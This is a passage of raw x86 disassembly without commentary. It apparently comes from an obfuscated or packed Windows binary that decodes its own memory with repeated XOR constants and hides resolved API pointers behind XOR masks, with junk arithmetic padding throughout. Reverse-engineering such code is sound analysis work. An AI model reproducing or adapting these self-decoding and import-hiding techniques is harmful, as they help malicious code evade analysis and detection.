lea ecx, [eax + 0x339d8]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201d8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107873
xor ecx, 0xcccf9ae6
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a909]
add eax, 0x20070
xor eax, dword [ecx]
push ebp
xor eax, 0xdcceccbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa0f3]
add eax, 0x20118
xor eax, dword [ecx]
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov edx, eax
or edx, dword [0x10106ae8]
lea ecx, [eax + 0x33a90]
add eax, 0xa4bac
xor eax, dword [ecx]
mov dword [esp + 0x1c], edx
xor eax, 0xdcc68760
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
xor eax, edx
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
add eax, 0x20164
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8388
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12158]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4938]
add eax, 0x264d0
xor eax, dword [ecx]
xor eax, 0xdccea81c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3acc]
add eax, 0x27748
xor eax, dword [ecx]
push 0x101076a3
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f22]
add eax, 0x36070
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33204]
add eax, 0x33210
xor eax, dword [ecx]
xor eax, 0xdccffedc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7a2]
add eax, 0xa59ec
xor eax, dword [ecx]
xor eax, 0xdcc69520
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254cc]
add eax, 0x2f70
xor eax, dword [ecx]
xor eax, 0xdccce3bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2072]
add eax, 0x24efc
xor eax, dword [ecx]
xor eax, 0xdcce8230
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x195d7]
add eax, 0x201e0
xor eax, dword [ecx]
xor eax, 0xdccecd2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200f0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf81de
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc2b]
add eax, 0x36538
xor eax, dword [ecx]
xor eax, 0xdccfa9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10103e60], eax
mov ecx, eax
and ecx, dword [0x10105368]
mov dword [0x10103e64], ecx
lea ecx, [eax + 0xa72d]
add eax, 0xa7b08
xor eax, dword [ecx]
xor eax, 0xdcc6b7c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa44b8]
add eax, 0x26480
xor eax, dword [ecx]
xor eax, 0xdccea84c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f86]
add eax, 0x201a4
xor eax, dword [ecx]
xor eax, 0xdccecd68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x63e9]
add eax, 0x1f568
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x156
xor eax, 0xdccd39a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4544]
add eax, 0x8e350
xor eax, dword [ecx]
xor eax, 0xdcc42f9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4444]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2ceb]
add eax, 0xa59f0
xor eax, dword [ecx]
xor eax, 0xdcc6953c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f729]
add eax, 0x3419c
xor eax, dword [ecx]
xor eax, 0xdccf8d50
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40ac]
add eax, 0x7acd8
xor eax, dword [ecx]
xor eax, 0xdccb6014
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37068]
add eax, 0x31fb0
xor eax, dword [ecx]
xor eax, 0xdccfd37c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10105abc]
mov dword [esp + 0x18], ecx
lea ecx, [eax + 0x151f]
add eax, 0x24ed4
xor eax, dword [ecx]
xor eax, 0xdcce8218
mov dword [ecx], eax
mov eax, dword [0x101062e4]
add eax, 0xb20a9757
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
imul eax, dword [0x10105ab8]
mov dword [0x10103e64], eax
push dword [0x10107300]
push dword [0x101062e0]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e0]
or eax, dword [esp + 0x20]
and dword [0x10106ae8], 0
dec dword [esp + 0x1c]
mov dword [0x10103e60], eax
jne 0x10027fb4
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b844]
add eax, 0x20090
xor eax, dword [ecx]
push 0x10107532
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33514]
add eax, 0x334e0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccff82c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20090
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf87a8
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x183a4]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16034]
add eax, 0x15ab4
xor eax, dword [ecx]
xor eax, 0xdccd9678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25294]
add eax, 0x2000
xor eax, dword [ecx]
xor eax, 0xdccceccc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10e52]
add eax, 0xa5a04
xor eax, dword [ecx]
xor eax, 0xdcc696c8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32df0]
add eax, 0x36df8
xor eax, dword [ecx]
xor eax, 0xdccfa134
mov dword [ecx], eax
mov eax, dword [esp + 0x18]
or eax, 0xdce051d8
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3cd8]
add eax, 0x272f0
xor eax, dword [ecx]
xor eax, 0xdccebe3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12a88]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc1a]
add eax, 0xa8fcc
xor eax, dword [ecx]
xor eax, 0xdcc64300
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e3c]
add eax, 0x5c540
xor eax, dword [ecx]
xor eax, 0xdcc9098c
mov dword [ecx], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [0x10107300]
sub ecx, eax
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1652]
add eax, 0x202d0
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x165
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ecc]
add eax, 0x51f0
xor eax, dword [ecx]
xor eax, 0xdccc9d3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17888]
add eax, 0x1789c
xor eax, dword [ecx]
xor eax, 0xdccdb450
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x486f]
add eax, 0xa5a30
xor eax, dword [ecx]
xor eax, 0xdcc696fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x10105ab8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x1347e]
add eax, 0x329cc
xor eax, dword [ecx]
xor eax, 0xdccfe500
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4038]
add eax, 0x26ce4
xor eax, dword [ecx]
xor eax, 0xdccea028
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34238]
add eax, 0x1f768
xor eax, dword [ecx]
xor eax, 0xdccd3ba4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1979d]
add eax, 0x201dc
xor eax, dword [ecx]
xor eax, 0xdccecd10
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [esp + 0x1c]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002821c
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4234]
add eax, 0x27748
xor eax, dword [ecx]
push 0x1010755a
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40f8]
add eax, 0x26b84
xor eax, dword [ecx]
push ebp
xor eax, 0xdccea748
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335ac]
add eax, 0xa4b6c
xor eax, dword [ecx]
xor eax, 0xdcc687a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c89]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x28]
sub ecx, eax
mov dword [esp + 0x20], ecx
lea ecx, [eax + 0x17fb2]
add eax, 0x23230
xor eax, dword [ecx]
xor eax, 0xdccefefc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c8c]
add eax, 0x4fee0
xor eax, dword [ecx]
xor eax, 0xdcc8322c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfecb]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10111]
add eax, 0x3232c
xor eax, dword [ecx]
xor eax, 0xdccfefe0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20098
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf875e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc5e9]
add eax, 0x28a08
xor eax, dword [ecx]
xor eax, 0xdcce46c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax - 0x5e54aa9e]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x34044]
add eax, 0x118e7
xor eax, dword [ecx]
xor eax, 0xdccdd42b
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa159]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4934]
add eax, 0xa2de0
xor eax, dword [ecx]
mov edx, 0xdccfe608
xor eax, 0xdcc6e12c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23f90]
add eax, 0x23f48
xor eax, dword [ecx]
xor eax, 0xdccef384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1313e]
add eax, 0x32ac4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x101062e4]
xor eax, dword [esp + 0x18]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, 0x37673019
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x3623c]
add eax, 0x235e4
xor eax, dword [ecx]
xor eax, 0xdccef928
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e4]
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x17a78]
add eax, 0x33b38
xor eax, dword [ecx]
xor eax, 0xdccff7f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ceb0]
add eax, 0x1cef7
xor eax, dword [ecx]
xor eax, 0xdccd023b
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x534a]
add eax, 0x20084
xor eax, dword [ecx]
xor eax, 0xdccecc48
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa49b0]
add eax, 0x25fc0
xor eax, dword [ecx]
xor eax, 0xdcce930c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1349a]
add eax, 0x32ac4
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa07b]
add eax, 0xa5688
xor eax, dword [ecx]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x122cc]
add eax, 0x328ac
xor eax, dword [ecx]
xor eax, 0xdccfe460
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4a6e]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x124d5]
add eax, 0x20244
xor eax, dword [ecx]
push 0x101078a0
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc145]
add eax, 0x202dc
xor eax, dword [ecx]
push ebp
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20170
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf83b4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xab07]
add eax, 0x328d4
xor eax, dword [ecx]
xor eax, 0xdccfe418
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1805c]
add eax, 0x36070
xor eax, dword [ecx]
xor eax, 0xdccfacbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cc68]
add eax, 0x1cc78
xor eax, dword [ecx]
xor eax, 0xdccd00b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa7de]
add eax, 0xa59c0
xor eax, dword [ecx]
xor eax, 0xdcc6950c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33934]
add eax, 0xa4b2c
xor eax, dword [ecx]
xor eax, 0xdcc687e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ea0]
add eax, 0x27038
xor eax, dword [ecx]
xor eax, 0xdccebcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7eed]
add eax, 0x256a4
xor eax, dword [ecx]
xor eax, 0xdcce9a68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11da]
add eax, 0x24b60
xor eax, dword [ecx]
xor eax, 0xdcce87ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fe4]
add eax, 0x23edc
xor eax, dword [ecx]
xor eax, 0xdccef210
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x190da]
add eax, 0xa550c
xor eax, dword [ecx]
xor eax, 0xdcc699c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1848e]
add eax, 0xa4c14
xor eax, dword [ecx]
xor eax, 0xdcc680d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x924d]
add eax, 0x27cdc
xor eax, dword [ecx]
xor eax, 0xdcceb010
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, ecx, 0x28508b6b
mov dword [0x10105abc], ecx
lea ecx, [eax + 0xa3aac]
add eax, 0x3e118
xor eax, dword [ecx]
xor eax, 0xdccf2dd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24078]
add eax, 0x23e14
xor eax, dword [ecx]
xor eax, 0xdccef2d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe2c0]
add eax, 0x25040
xor eax, dword [ecx]
xor eax, 0xdcce9c8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4723]
add eax, 0x25868
xor eax, dword [ecx]
xor eax, 0xdcce94a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf67d]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x329fc]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12563]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a14]
add eax, 0x13c20
xor eax, dword [ecx]
xor eax, 0xdccdf0ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32f08]
add eax, 0x32f18
xor eax, dword [ecx]
xor eax, 0xdccfe3d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c0f]
add eax, 0x23830
xor eax, dword [ecx]
xor eax, 0xdccef4fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x341dc]
add eax, 0x1f6f1
xor eax, dword [ecx]
push 0x101074a6
xor eax, 0xdccd3a3d
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43b0]
add eax, 0x26670
xor eax, dword [ecx]
push ebp
xor eax, 0xdcceaabc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x195fe]
add eax, 0xa8fd4
xor eax, dword [ecx]
xor eax, 0xdcc64318
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a44]
add eax, 0xa4b88
xor eax, dword [ecx]
xor eax, 0xdcc68744
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330d0]
add eax, 0x32fa8
xor eax, dword [ecx]
xor eax, 0xdccfe364
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4ab0]
add eax, 0x4b40
xor eax, dword [ecx]
xor eax, 0xdccc878c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
or eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10105ab8]
add dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d20]
add eax, 0x27278
xor eax, dword [ecx]
xor eax, 0xdccebeb4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x136cc]
add eax, 0x328f4
xor eax, dword [ecx]
xor eax, 0xdccfe438
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa42a8]
add eax, 0x26870
xor eax, dword [ecx]
xor eax, 0xdccea4bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20068
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9bac
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x193a3]
add eax, 0xa90f0
xor eax, dword [ecx]
xor eax, 0xdcc65c3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11797]
add eax, 0x29014
xor eax, dword [ecx]
xor eax, 0xdcce5cd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fec]
add eax, 0x13090
xor eax, dword [ecx]
mov edx, 0xdccdfc5c
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xed9d]
add eax, 0xec20
xor eax, dword [ecx]
xor eax, 0xdccc20ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x375d]
add eax, 0x256f4
xor eax, dword [ecx]
xor eax, 0xdcce9a38
mov dword [ecx], eax
mov eax, dword [0x10105abc]
mov dword [0x1010536c], eax
mov eax, dword [0x10105368]
add dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x196cf]
add eax, 0xa8fd4
xor eax, dword [ecx]
xor eax, 0xdcc64318
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a7e9]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a91e]
add eax, 0xa8fb4
xor eax, dword [ecx]
xor eax, 0xdcc64378
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x99e4]
add eax, 0x20034
xor eax, dword [ecx]
xor eax, 0xdcceccf8
mov dword [ecx], eax
mov eax, dword [0x101062e4]
xor eax, 0xd0b2987b
mov dword [0x1010536c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb1c1]
add eax, 0xa5ad0
xor eax, dword [ecx]
xor eax, 0xdcc6961c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19da0]
add eax, 0xa508c
xor eax, dword [ecx]
xor eax, 0xdcc69c40
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2550c]
add eax, 0x3320
xor eax, dword [ecx]
xor eax, 0xdcccffec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13b6b]
add eax, 0x20214
xor eax, dword [ecx]
xor eax, 0xdcceced8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13e1f]
add eax, 0xa5acc
xor eax, dword [ecx]
xor eax, 0xdcc69600
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256ec]
add eax, 0x3790
xor eax, dword [ecx]
xor eax, 0xdcccfb5c
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x45d6]
add eax, 0x202bc
xor eax, dword [ecx]
xor eax, 0xdccece70
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa785]
add eax, 0x2012c
xor eax, dword [ecx]
xor eax, 0xdccecde0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b85c]
add eax, 0x36960
xor eax, dword [ecx]
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17e2a]
add eax, 0x33b78
xor eax, dword [ecx]
xor eax, 0xdccff7b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x129a]
add eax, 0x24c20
xor eax, dword [ecx]
xor eax, 0xdcce80ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4844]
add eax, 0x9a958
xor eax, dword [ecx]
xor eax, 0xdcc56594
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x93ab]
add eax, 0x27c88
xor eax, dword [ecx]
xor eax, 0xdcceb044
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xddd1]
add eax, 0x24e9c
xor eax, dword [ecx]
xor eax, 0xdcce8250
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34088]
add eax, 0x1f600
xor eax, dword [ecx]
xor eax, 0xdccd3acc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xd84e]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x107f1]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20e7]
add eax, 0xa5680
xor eax, dword [ecx]
xor eax, 0xdcc69a4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36fc8]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaefa]
add eax, 0x27f30
xor eax, dword [ecx]
xor eax, 0xdcceb3fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4619]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x28fe0]
add eax, 0xe790
xor eax, dword [ecx]
xor eax, 0xdccc2b5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c9c]
add eax, 0x36d40
xor eax, dword [ecx]
xor eax, 0xdccfa18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32998]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x57cf]
add eax, 0x20224
xor eax, dword [ecx]
mov edx, 0xdcceb3ec
xor eax, 0xdccecee8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaf81]
add eax, 0x27f20
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x161d7]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xadd4]
add eax, 0x27f20
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa22c]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13477]
add eax, 0x3297c
xor eax, dword [ecx]
xor eax, 0xdccfe5b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c3c]
add eax, 0x197fd
xor eax, dword [ecx]
xor eax, 0xdccd5b31
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3fdc]
add eax, 0x273c0
xor eax, dword [ecx]
push 0x101076be
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34280]
add eax, 0x34268
xor eax, dword [ecx]
push ebp
xor eax, 0xdccf8ea4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbee8]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1408c]
add eax, 0xa5a58
xor eax, dword [ecx]
xor eax, 0xdcc69694
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x10103e64], eax
add eax, 0x200f8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf81fe
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b94]
add eax, 0x32b98
xor eax, dword [ecx]
xor eax, 0xdccfe754
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32354]
add eax, 0x328d4
xor eax, dword [ecx]
xor eax, 0xdccfe418
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a60]
add eax, 0x12fe0
xor eax, dword [ecx]
xor eax, 0xdccde32c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6d14]
add eax, 0x27a18
xor eax, dword [ecx]
xor eax, 0xdcceb6d4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x132c8]
add eax, 0x23038
xor eax, dword [ecx]
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e64], 0
lea ecx, [eax + 0xa00d]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a10]
add eax, 0x13c80
xor eax, dword [ecx]
xor eax, 0xdccdf04c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
